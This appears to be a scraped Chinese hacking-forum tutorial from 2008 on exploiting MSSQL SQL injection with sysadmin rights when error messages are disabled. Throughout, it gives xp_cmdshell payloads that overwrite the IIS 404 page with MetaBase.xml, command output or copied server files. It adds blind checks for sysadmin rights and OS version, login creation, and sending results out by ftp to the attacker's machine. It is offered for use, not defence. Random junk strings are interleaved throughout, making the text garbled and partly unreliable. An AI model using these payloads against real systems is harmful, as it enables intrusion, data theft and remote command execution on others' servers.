遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。3 X) y9 ?, a2 ^$ f% D
; m5 Q0 q' b. x
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。. _/ L% f* O/ [# h# m) [
. M! Q3 G, D3 O" t, `$ ^2 f; `; E
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
( V( ^7 G+ x7 d/ [
5 j4 W# y* B" c1 e* D1 }3 U IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm, i4 ^+ h, g/ X" I# O
* F/ k# I( ~* m/ L, ] 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
" A2 ~) C+ [3 _* F
5 l }; H1 \, K* z6 ?* d* G% `9 F ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。) U; D* V6 C# s" V
/ A( O8 F( [! w! Z
执行命令得到回显
( @+ |5 v$ Z& s* D% G$ ]9 u
' n+ _: ]8 r% w; g6 {$ Q 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--: |1 H& r. K8 p1 T' p
0 e! Y1 ^: ~+ b# U, \. W- Q/ [
得到文件也shi相同,把文件copy到404b.htm就行了/ q( ^9 Q% d- L( ]6 }/ H) E3 T9 M6 e
& [% Z! D( s1 r+ ~& v) v5 o: _
by 28ice, 2008/6/26
( X4 `9 i% r' P. s2 M$ H, X: S- @3 F4 F# ]; X
摘自 28度的冰
4 a% ~4 m5 q3 l
+ `; D6 C H. f! ]6 X" H 盲注判断权限和操作系统版本
/ C: ]- j! t4 o# a
- l' x# o& E) I/ F0 c# A L 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?% K9 W" [! }7 B0 W
, s6 _& s8 M4 S# {& E
最简单的,可能以用这样的方法:, \7 T9 G( X$ V$ O8 m
. I3 Y1 R: n' ?+ N3 g, s
1=(select IS_SRVROLEMEMBER(’sysadmin’)), X( ^% p: R+ i# z. A/ p4 y; y4 o
' m8 E; x+ c8 z* V) L
当然,有些情况下,这个方法并不奏效。# ]: b) M, U* t% ^
+ `3 q) B e% n( ]7 ~% J9 Z 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。' I- s' x* P% H2 `& A6 l: f
3 F9 j3 R/ k- x3 M) K' h 有个3办法可能以解决这个问题
' ~) ^' n: c1 q$ T9 ^: E& u8 X- V) n. i( j
a.把执行结果写到404b.htm,具体请看我的上一篇文章
# G# \$ W0 ^- @8 X! P
( ^- ~: L( L) X7 Q% I. h! } b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟& W! W7 h6 u5 K. [
' x, e+ W4 Q4 R: e6 x0 J- T7 s$ u
c.如果1433端口可能以连接,那干脆新建个sql登录
$ t" _/ f9 I/ s, _" t
5 u6 q/ w1 g+ n# I3 s' Q! e- K d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数! [. ~0 p- U" W3 \
+ o+ Q B) k2 g$ a1 j
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
1 f) @' s% q V& S9 F; C1 o1 a
_) n' F1 h) x" q" x# s 很简单/ A' F) l: T8 m0 R( O! K" j
/ f7 u3 [: ]5 _- r& {" T' c
执行systeminfo
2 ^/ \; v* h4 C; l7 j; ]9 P! G6 ^1 h
" Z8 Q3 [- a: P. Q0 L 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |